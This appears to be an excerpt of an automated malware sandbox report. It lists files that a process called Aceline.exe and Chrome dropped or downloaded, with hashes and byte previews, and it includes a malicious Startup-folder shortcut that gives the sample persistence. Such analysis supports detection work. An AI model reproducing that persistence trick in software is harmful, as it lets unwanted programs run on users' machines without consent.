File Type:	SQLite 3.x database, last written using SQLite version 3046000, file counter 14, database pages 6, 1st free page 4, free pages 1, cookie 0x17, schema 4, UTF-8, version-valid-for 14
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	1.763634464264882
Encrypted:	false
SSDEEP:	96:5aEeMatKnYCr7irsWoZ3chWmdJiKKwuoi+nImIr:5aELap6+JiKK1
MD5:	9749226E44D54E9CC45E5081C2D99241
SHA1:	66AAC415832F0679F821532A90D873A0C0B6CB0F
SHA-256:	60B4FB9C4641C4C173207C14955C814672E6D8E19342B473CB4B6FBE22BDBAA4
SHA-512:	FA1645D384DAC83D62B087C253C8EFB1029FE7503673A5FBDBD70072ED6316A6A42B9D61216C664F151454AC096DD735A37F0F973D97860001E134B1C78AE5AB
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................zp.........g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF655.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\Aceline.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF666.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\Aceline.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF676.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\Aceline.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Aceline.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\Aceline.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:///C:/Users/user/AppData/Local/Aceline.exe>), Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	152
Entropy (8bit):	3.380884143244363
Encrypted:	false
SSDEEP:	3:Q+2lRQuRkiglZlo1CUfKl88J5lKl0dhOEQlpQlyEklklTpCalmlA2vln:Q+2lJglZytfKt3QaUEQEdk+ZZc6Y
MD5:	AB1879B3F19AFDFCDBA967C08ECB3312
SHA1:	E3A9D94E50FCDE899965DC4224D8C3D2D220C2EB
SHA-256:	F1530DC685BDCAA53EAD52EE9E1C54B4B13C54453986DAC42ED760FA9C1A7E21
SHA-512:	BC21FC23B8221184EECBFD9A2629B53D0AF9D6711612A935FAD2C859C8624E092A214AE18CE6CE8B82A55CDEF634C6D78DBF9344ED30C180F72FC3F48F416FF9
Malicious:	true
Reputation:	low
Preview:	..[.I.n.t.e.r.n.e.t.S.h.o.r.t.c.u.t.].....U.R.L.=.f.i.l.e.:./././.C.:./.U.s.e.r.s./.a.l.f.o.n.s./.A.p.p.D.a.t.a./.L.o.c.a.l./.A.c.e.l.i.n.e...e.x.e.....

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 48836, version 1.0
Category:	downloaded
Size (bytes):	48836
Entropy (8bit):	7.996186499450183
Encrypted:	true
SSDEEP:	768:grGFVEQHLxxs0tiloCIajnhCUlzFeIN9NtEhLSwdZt+HZmiXH+ZbmFDsTswTMcHf:gQhjs0tim5axTC4M8giXHcbmF6DMcSQ5
MD5:	F3D89F2E11F1870A0C6F1CD7C1DA647A
SHA1:	4012D9E05C30F9B1524C8A614BF6864B6B819DF5
SHA-256:	ED92B61060D50EF6D9F2650FF187679814C0DBB5DF13CA789F6EB7FABADD9EFB
SHA-512:	149837660AB4E12F03DEDA0BE75B39ED5CD72DE27F31D4943C9997C13847BCFC4059F48829CFC14AB64A74277FD580FCCD26239600CAE576F180A677B1E2534C
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/fonts_new_design/Poppins/Poppins-Bold.woff2
Preview:	wOF2..............9....b........................?FFTM........Z.`..^.....H..<.....6.$..f. ..W..8[>...G.., ..P...>...U.2...9.G....5(U1X".>.w+..r........I.2.....&..pb..V......(9.e.s...'Us89K...UH..=..a.'..'...t<.tq..s>.Z...Bx......j=:...1#...r.-..?..\|<_Sa......HP%......W..u5R....S....s..o.88...A.D..88...7.7Zm..I..zg.\z.........G....[.5^.Z;i.WH..]B.....m.....V.`.C>.....M..[E.\|H.-.G.......QE.v.!08..C.~.H+.......{E..>7)Lu......`=.2.O._.R...FL^\....I.&5..(P........cc..)..c...4..w....$..DZ.d;.G.p.%J$RB)k..Jt..\|.m....K'...F....o(.{...}?.r.7.P..h.`,.M[.)w.t......Ks.cU...\#..... S@....Qq.O..Y..fSQ.K.^.uW....f.R........8..Yj..GH...............-...../r~z..@...j.......f..0.a.B.]....7..RJ)np.S4E.4ES4....(.E.h......[.EQ.E..0q.O$.7..k....K(...%.J[Zg..8..<..=}m.5..."......v.......?&.J.Dl...'j'....Ml>.".9....{./.....W..&g..6..eb.r&.L..Nz..l..."...n^)..R...(..i.....-..h..i...._..RJi.....1.....RJ)....EQ.E.4M.np..EQ.M.4M...9.%.9...i......._....*y..R4.~.v....O[....B.6..

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 292x195, components 3
Category:	downloaded
Size (bytes):	16312
Entropy (8bit):	7.968181507053499
Encrypted:	false
SSDEEP:	384:1vpqTNBJ5aH0kAPLID2ZVOLMx2uMAmvL8h+mxc4DyO2MaS:1vgfJ4VSy5uMAmD8h+9O2MJ
MD5:	1FDC99ED9009BC7DE33311C5ACAB4AE9
SHA1:	DAAA4C178548DAA6B79CA9F35A58AC5F0F31E0DA
SHA-256:	82C4A8FEFFE445C8063A7EA6E783B9ABBA3D27E034AE6245B5D2552E24144CDE
SHA-512:	8D976540B68768D0F9B5B48A10C8C875D298DB94966AD02D234A44EB1DC9C56A61729CB5831D9735EBA3E114B816DBBE06421FC2E658A7CB9DFDCDBF42D69E6A
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/employee/upload_editor_files/files/travel-agent-hub.jpg
Preview:	......JFIF.......................................................... .... %...%-))-969KKd............................................ .... %...%-))-969KKd........$..!..........6....................................................................NI8B...6.. ?4.....\..I.{..+......U...q.;._t..4M...4.g....2j<..V...B\...].v..ErD.9.[axC7\|.C.k........o8...{....W....X+....Mw=..X.=..C.........4......fz.WFV.R...\..v..L....._x..t..W..$O....\|.UA....Nm........j...>..Qu..YX...j.7....fe....i^....T.9....h..1NMM...3.[6}{..6.}..Dd..=.9'c..E.Is.6...\|.8...S.../.Q... ..b-...b....1.2.kC...5.O..T.e......O...P...[_m=G.OD..r.......}j...t.\.0.L.g&..EI..r...jI.......?....>....Q ..K.._.t<..&.N"...i..2..?Q"phj..^=B\|.....q.y..F.w.E4.+..Cz.....5..n...-..''..9\|..E.k.S=....C.....T+...s.^.f.C9..O0...!.b..o(k0>.YoM....uh...-.'..^.9.O.`.s.s...7.V.x.Z.Gg;..~5Y.v.Z.Mz.l.3m.8...}h.m.Vb.W.[...U...q..?....4mQ...W.W.."sZ..5.S....0.A..$.D..M.`;(..@...Mov..=...s.E.\|......v..{3...Jk.7j.:

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 503x507, components 3
Category:	downloaded
Size (bytes):	70188
Entropy (8bit):	7.982543632403224
Encrypted:	false
SSDEEP:	1536:u9l+HjD5AFEk/nfiAUyAfnrOJ/udVz8UEaE/7FG0x:1HjDqBSAUnrcWVgUEd/7Fn
MD5:	4B5A09D7E03E20275CC90A205F7C0196
SHA1:	1C2EA8F1B70A5BC4975730EA5C0479C2BC2A122C
SHA-256:	6BDAAF4F47FEEFE02F875A0FB7D3F2F00BB39402B8F27228E1BE10BB0E75116B
SHA-512:	72C814E98E66A78672DDAE6522F57F63DEDFB9294D0B9584AB7CFE1B34CA807D6B82F2D41FE5D657D45469F33FB3696F39BAF506D2CFA6A8A8C1C8DD0B6A3EC7
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/banner_slideshow/gogo-charters-bus.jpg
Preview:	......JFIF................................................................"..."%%424DD\.................................................."..."%%424DD\...........!..........6......................................................................OR..}i.f.*.xi..j....n...F.IlWc4\.?....zP........D..@....1B$.$....-..5A_......V.S-.Ik....I.s.[...L...l...X./5o.6......V./Z.........(HD.0$.a."L.$D&3...(.q.!1.._...8.\......T...Z..}.Z..MBX.Tk..N.Lc.....>N.16..v......'..L! ...j..&..DB%..c........W.......a..&.&..JsN..]._}N.g.....6.U,<[.s.9....]>.............Z...L!1.1.L..&3.L\|_.\|...GZ3.t./+....C......H.^..Y&...4....../n...%..;.)G..Vw....s.......0.j.j.I..)0.1.1.1...q.\|.En'..H...J.o+k.r..K.Oc...yv.\...?.n......o/S..-.U....r.y,...^.........!5D."MLf..B_) .....1l.......5.E.^........W.N..u'...q4_'I.p.... ..s....i........ ...Z.&.L!1.......[......}4..H.u...H... ....b8......&...[.....>....g......@...@..U.a......}y.Q.;.s...u.w....o3^.`....W..qXn{.d~.~c..x}..y..^......?@>.

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 277 x 155, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	51929
Entropy (8bit):	7.979722992460842
Encrypted:	false
SSDEEP:	1536:uFwAmJW+Gfjj3T8xwhbp2BazUoEUa6tHQ9BbXHZbFC:uFwAmLGfYe9OiEUtHgBrZ4
MD5:	BE8400B7F8145A8B372437627C6A0A29
SHA1:	F7E22B887D61B23A5F73E433F21257547D26F0C7
SHA-256:	442D4D1F2905C460A08053DB6FC53A043D7B0AA847914D126CEC45045892DF1D
SHA-512:	09C7507CCBE667BA24BC853D601D7EA6269F7CB8E2BC9C6B3F1CE65AFE284C124D812C3E0D1F034DAB759B0FA7E28E07B22534FA774ADA8126EF5A800228E486
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............L#.....IDATx..w..gy..;...}..V.l...).......PC..p...pC..%.K.)T.!.@ T..w..m.....:.......K...D.?.:;g.;3..{...4.....rR~R".......%'A........rRN.I...IP9)'..D.$....rR~.r.TN.I9)?Q9.'........rRN.OTN..I9)'.''A........rRN.I...IP9)'..D.$....rR~..../...SJ....v.z.A6.!..........Q.T.tI6.F...z. ...j.p].l&C....F.qq=..B....j..!..M.B4)........BE.....2....!...}..6.\|..0h4[.a@.L.@.....h40...ma....3=}..(..4.M...t:.Z-L.bhp..0.5.\|>.c.. .\.z.&..9.T..wo..{....Jl..q]..'.B.....r.......B..i.-.(......Q.V.L.,...N..S.W..sx.G..&.Ja..^.`[.......b.&.ma...F..qH.R.(..4.....1.a.&4l.".\|,+E.VG).a..z.jw..!H.l.]....T...(.oc.c..b.J....x...D6...-.......u...A.Rm4.Sh....dl.r.I6ec...z...B.......fh.Z..a.:..b[).$.L..{....Z..z.jV.\.....V.bpp.}..q..1.<.L.........e.8......C.A@......).5. T...&.......a..v.,.P.@!.HM...TH.R.x.'.TN..E....M..PJ.j...X..k..l6..V.).."T...a.......C.R.!.B.P)."TJ.. ..A.4.).\|..P....A....{.N......,.a..~.0..v5.....fs.&.zM.........g.m....

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 269x179, components 3
Category:	dropped
Size (bytes):	29114
Entropy (8bit):	7.980030046336913
Encrypted:	false
SSDEEP:	768:w5SLAcl04dREYssgKpD7mEM8a1rmQ1lO2nAtr:w5SLTl0qsSpD7uw32Atr
MD5:	43416083A4427802C235D876A92BD24F
SHA1:	3F3AA2C5A36E43127CCEC0805F3AAF0CA1425C8B
SHA-256:	9A7CF84E9952BE7E6E010D28BE4E26F75EA3A570E6A956829AB6C3983BB9A0AE
SHA-512:	AD39325B8CDC18BB39211C7F168D8126F9CA7F0A0E972344B7E3F62D601E498CF660C537724E2E1D09FD681D134CCE1841486180BBA66A1816AA93BE10FA7FD1
Malicious:	false
Reputation:	low
Preview:	......JFIF.........................................................................&$&22C...........................................................&$&22C......................6......................................................................{.'Z...H.).P.....6.7q....klE.Tr&U%.s.~.W.....`m..){.s...9C...sG..._...zS$.J6CN.;.^...P..'-....Z5.\.U....0<o...aZ0..J....WR...:!46oA.v..A:......J.0.V,~...v.v{$.V.+.....A...ff...T.......Tb`...v.....G..;Q..}..=W.....`=>4n...7[..1ls...b.R...{p....S".u..4-.:.FW....~..-..VR..N..S.cMA..?...Y.o.{..Q....Z.....Xk....N.U...m..^}..5".n..O...._5....v....WU...<.7G..\....... ....u\|.y.....$....V..O.5..&.....S...1 u..U7...\!..O./..w.&.6k.......:.[...$.$3-.......v@g.[Y.....tQ.<.i..I...BU.......{L.0.1m1..F.:.23.G...!...{.3.-..[mV.B.e5....d\........p.Y/....ygx.q..:.Z.y..8..\|......>....@~O....#x.X^k..... ..#....".t{.,v...j\|:9.2....p.hk[mt.$.W....s..+,.t.fy {.......IM..SO..o.......g:.<.5#`.}f;B..M..b..dc...y.!.".R...-..W.EZQ.

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	13508
Entropy (8bit):	3.8978741709333344
Encrypted:	false
SSDEEP:	192:5J71LeQbWPk7R+LwSORSmLZOEshWaQaT2tRhWBtmgd1FKg767kb/yTJtUemQBN3a:vvWk7R+8SORSm8gLv2Wghb0JFmQT3tk
MD5:	80FC322731C4D81950B77E57CF9871CF
SHA1:	322BB9A9EC598AE9243E948465FCE2768D55BD9B
SHA-256:	9C4735FC7EC6074FEC2F082A1692C99979E17F0BE81AC1772A692692170BCC1D
SHA-512:	1F51BDF453E6632E148D86B7772868ED997895BADA7CB6EEAAEA15530E8AD02228EBAEADE81D8A28748363F798B334FAF662BAB34491B68E69E6E707BC10DA11
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/employee/upload/city/1730298797gogo-lexington-logo.svg
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg id="Capa_1" data-name="Capa 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 138.21 81.21">. <defs>. <style>. .cls-1 {. fill: #ef2d28;. }. </style>. </defs>. <g>. <g>. <path class="cls-1" d="M47.71,10.59c-5.04,0-9.14,4.1-9.14,9.14s4.1,9.14,9.14,9.14,9.14-4.1,9.14-9.14-4.1-9.14-9.14-9.14Z"/>. <path class="cls-1" d="M136.43,5.12L125.35.25c-1.15-.51-2.5-.23-3.35.69-.34.36-.57.79-.7,1.25h-13.65c-6.26,0-11.76,3.29-14.86,8.24-3.1-4.99-8.63-8.31-14.94-8.31-3.07,0-5.96.79-8.47,2.18-2.74,1.48-5.05,3.67-6.67,6.32-3.08-5.05-8.64-8.42-14.98-8.42s-11.95,3.41-15.02,8.5c-.69-1.16-1.52-2.24-2.45-3.2-.15-.24-.34-.45-.56-.64l-.55-.47c-1.06-.9-2.21-1.67-3.42-2.29-2.43-1.27-5.19-1.99-8.11-1.99C7.88,2.12,0,9.98,0,19.7s7.68,17.39,17.22,17.58h.53c4.24,0,8.33-1.54,11.53-4.31,1.37-1.19,2.54-2.58,3.46-4.1,3.08,5.04,8.64,8.41,14.98,8.41s11.9-3.37,14.98-8.42c3.08,5.05,8.64,8.42,14.98,8.42h.52c6.14-.12,11.51-3.39,14.55-8.26,3.1,4.

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 201 x 131, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	50800
Entropy (8bit):	7.987261028272843
Encrypted:	false
SSDEEP:	768:4T5N29rsaC1bM/34bRQVhpenVmlFbMsSfYbz0o+cy1vacJAUtWdchV77m6nhAQxK:4TO8bB2VfeneFbIYFbybLt2cj77m6nbK
MD5:	13EB57C517B6E570BD70DFAD60D76CC7
SHA1:	980DA63483E16B9CD9D00A9B8A4B81F43C63C935
SHA-256:	C79F7BE80765A94F93AD66D78236BA07F2E1B05EE1F3F9205793582568B7F1A8
SHA-512:	D868F0EB2033F4F5EAA90A96A9D9C5EF4A8BD0CD8C7D4387E785A1B7669B9D5953513EB87762AA8DB5A436364181DE88C80D98289C8F10E5BD4452ADA55D7752
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/56-passenger-charter-bus.png
Preview:	.PNG........IHDR.............'.?....7IDATx..w.]Wy..]k....u.-...m...-..!..I ...I.%..n:..B...i.c...M.z....9u....=....{I....#K.sf4..z...y..W=.'[.'x.._.b..w.ss...y....rd..R....q.P..X5.K-..B26=.....I6...l...h\.Bk.5+..dn.B..S.f......s..].......S.....Moz....7....?....x.3..... .."..w\.... .....=.,.,....E.'.M.'.A@6.........e[.h.9p`/.\|.....)..h.........ttv23;...c\y.%x....?.'?.Y......s..t......J.N......r+V...)d.E...\k..D3...?..9.mm.o;\|.....^9...~.z........kVp..3~b.f....Q..............n....x.X....>..Os....Y.e..C..O....w...y...p...z..~.......o.....,.(&...Y.!-fgf..G....=..`I...tg.`....O...*^..s...{.]Dq.._.]...Cf.!.B.0Dk.ZR..`>..l.q..5........\|..='.....\ m.~..g.\|../....]a...../.> ........h..RI".0Zk.R........$..Mk...........P\....a`...W..._...d...<.!...&..=..^.s...P.7.......%....5...+W.91<2<%.8...6.y....."..0VJa.DQD.....2.~...&....j...m.q.....{.uy..m-P:.>..B ...?.I>...djl.L...(....+.l[N.o..]m...\s......p....&gwWW...t.....r....37><88.X&.....Vn..^^~.j.

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31995)
Category:	downloaded
Size (bytes):	69903
Entropy (8bit):	5.3526483629875745
Encrypted:	false
SSDEEP:	1536:r9iySoTpyw2Ziv1EZv5nDpcP4omgI4AZuync4eZAnnCyX16oMmYtYiGGGZGu/:xORk+RKbCdZZ
MD5:	BC32411FD6FA348D8203D2F26DD9866D
SHA1:	F4ABDC1B3C92857E9D3079CC7B3F08AB85C3B00B
SHA-256:	91C20C70D36B608CF919E894B0AC9E32298D6B3AC3CA59C45A85E7C44161D170
SHA-512:	3BFA45408F26750653CCC855EBEC2F717AA89129884874B852838CCECBCB9CB3F74C799C9A32A07C142D307F542D31E718D752A5F3844E12D3C28494F48EF183
Malicious:	false
Reputation:	low
URL:	https://j.6sc.co/6si.min.js
Preview:	!function(){var t={},e={},n={},i={},r={},o={},a={},s={},u={},l={},c={},d={},f={},h={},p={},m={},v={},b={},y={},g={},w={},_={},E={},k={},S={},T={},C={},A={},F={},x={},I={},M={},P={},L={},U={},N={},D=this&&this.__spreadArray\|\|function(t,e,n){if(n\|\|2===arguments.length)for(var i,r=0,o=e.length;r<o;r++)!i&&r in e\|\|(i\|\|(i=Array.prototype.slice.call(e,0,r)),i[r]=e[r]);return t.concat(i\|\|Array.prototype.slice.call(e))},O=this&&this.__extends\|\|function(){var t=function(e,n){return(t=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n])})(e,n)};return function(e,n){function i(){this.constructor=e}if("function"!=typeof n&&null!==n)throw new TypeError("Class extends value "+String(n)+" is not a constructor or null");t(e,n),e.prototype=null===n?Object.create(n):(i.prototype=n.prototype,new i)}}(),V=this&&this.__assign\|\|function(){return V=Object.assign\|\|function(t){for(var e,n=1,i=arg

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 105 x 63, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	3359
Entropy (8bit):	7.406776147863472
Encrypted:	false
SSDEEP:	96:gSu4wknmWpiPsJm0zi/Iz0v4H6YQSq5loT+pHPI+dPk+qH:gSuVknusg948voeDG
MD5:	36CB02B8AED8A558B8506C184DEE05AE
SHA1:	6726649988485E11579258CBE8C75E42B6D9AA3E
SHA-256:	6CF64EFDB67B7EDFF2DCC7C6101A44A888E0A97A24AC8D496C5E049100F254C5
SHA-512:	706B941C862289A0086FA1D48076AF7367C8006BCC6C1AE9864A28EA2371C1A1270F6940904256A133413ADE5FBCDDE54DE75A7E5FFE94CAD9A0A9E93340CE2F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...i...?.....l7q.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-12-28T13:14:24+05:30" xmp:ModifyDate="2021-12-28T13:31:32+05:30" xmp:MetadataDate="2021-12-28T13:31:32+05:30" xmpMM:InstanceID="xmp.iid:dd9cbcf9-81f9-d945-a245-af1629549427" xmpMM:DocumentID="xmp.did:A5C90508415A11EC8A26F31E88F27E18" xmpMM:OriginalDocumentID="xmp.did:A5C9050841

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 269x179, components 3
Category:	dropped
Size (bytes):	30402
Entropy (8bit):	7.979411912952169
Encrypted:	false
SSDEEP:	768:GKyCIrxccCVptpU7nXFof4j0eaF2cbK/vA5:GfhMpAX4/P6vA5
MD5:	4C59196B4C158ABEE2D6204C118DD50A
SHA1:	54FA900C3666AE8E66045FBD5A6B87C3AE2E9BE6
SHA-256:	70539B3AA8756B99E14BA1CAD1B786515896F4E7C014799C5E51D6E6E1BADBFC
SHA-512:	CF40DFAD7853B3CE6C7ACFC66E1D258624F00CD3760CFB07FBEECA6C0A9C2E4711629C305B6419DE0808A5D9F92D7717F20DE26E1A91BF866C117EEC69760539
Malicious:	false
Reputation:	low
Preview:	......JFIF.........................................................................&$&22C...........................................................&$&22C......................6....................................................................+l...X.H.M.QH\..O.>4.=Gu1X...].8"..&.0.r.T......4-iAU.....`.......7....Ff...!.....d...P:....>Y.yk.Z....).I<a...H.K.R.jbP.1G=<.9.sr..H..j.>.g.?.c48..g....6.^.`.M6..XX.....ic..M..=.hE3el....z...s..6g..$`.h....p.Q.9K j..4#..B=O..b.g.6.F..3w..9hb..[.....n~..-...-.\.9$.7.F>..>2B%.8LS.txv.,d.K...O...U......a$.$zx...x.m~..\|.F<...<.R..$.%...9..Y..f`..QT..i...8..)E...2..u.w.~.....S.9l.u..EE......Y...)....r..`\J.B.b.lu.t.......".-C&.3.MU...i_..r...ec.2."........zCR..O!..Y..}........ ..t....b....j...\e..t......e._95./n..x..Q.+n....WD7~`.Qy....Q%-.a..~e....j.Y....)..rzS....EhM.%.T..Y.1...lu.....`....L....Uj.1....F0...o......l..0.....y".&..."...n..I.4.t}...c8e."+Y..U..s..;/..Y...:4....!U_71.`..b(.r..qX..Z.q:+........

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 100 x 100
Category:	downloaded
Size (bytes):	8238
Entropy (8bit):	7.7588010186177145
Encrypted:	false
SSDEEP:	192:Nj321SSlaIMLzaO1YjPc6lC2hxw+I37OitgG0kVxpIWBSy:hi3MLzaOuQ6lnw+I37Oiw0EIS
MD5:	AE06B0018E895CFDFEC66183874D0282
SHA1:	584FA5E2263271181FA34C42ACAED73A3D98827B
SHA-256:	AC87229A9D77ED14F5E6AF8315AB265B7F3A1A5BC2262E7D291FCD18004B89E4
SHA-512:	9E05427F4A91333B6F534DB4AF1FC7EB0A2A0AA1DF743479C463C8C140F25962EA2D50A30E650218D306EDFED14CAC3117EC9A5DF85B17902A60117FBF7A1AEE
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/css_new_design/ajax-loader.gif
Preview:	GIF89ad.d.............hhh666<<<\\\......,,,TTTLLL~~~...$$$...vvvDDD..........................................!..NETSCAPE2.0.....!..Created with ajaxload.info.!.......,....d.d.... .di.h..l.p,.tm.x..\|.2...G,.....A.....r..Zi..tx.....K^..q..)$"......{..^_h...w<.{.v+..S.N.....'..{....A0..A..$..zUF...\.$....E.....%...F..."..}...................+....E.......9......B7.........3.......5..!..-S=.....&.U.....G.....3j.... C..I...(%..0P..._)M 9@....!<\1.&..jP(9..DQ.SJ...t.).,......5..p.....C.z..u..- P.....>mn=..l.L...5.W.'..x..V.A...K.1`.a...:....Xo...wq..6......QY.......c.M....s.AM......-..o.....s..o....X.......?k0.:k...w& ......^M...3.!3.q...........n........$.$p.v............,8L............>1..$6....V....@.a..4......@.&.@.D..B..#p...0..@......\8...0I@.1!!e.I.. ...&U./.'.d.i..!..!.......,....d.d.... .di.h..l.p,.tm.x..\|.2...G,....D.........X.CY]".....B.....<.}H..%`/.+...8,.+.....`+.l.y......(.....,..U.x*.....$I....H..-.....%....E...$....D...."...=......WEu......

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 105 x 63, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	3080
Entropy (8bit):	7.3089219100691025
Encrypted:	false
SSDEEP:	96:gSu4wknmWpit56//yiIBH6KuGECJOr1Wy84j8Zzl+ded3k4c:gSuVknK6iisKCJKylCeZkT
MD5:	C4808786B85D747669694D5E2E145AA9
SHA1:	3CA575B0C5181E95F62067C5BEF1AC8E324D8D9B
SHA-256:	67AF1E362108E84A464DE5A5B1776EBC91EAF4280FDFCFEC10483882577BF669
SHA-512:	2CAFCB3B3C200353405A066C9A19DDA4811530964E947CE229DF23E8A59D2066C4BB88B93ED7C176633F27FD5E6CF9533ADC7C629E6DEBCB443A299EF64307D6
Malicious:	false
Reputation:	low
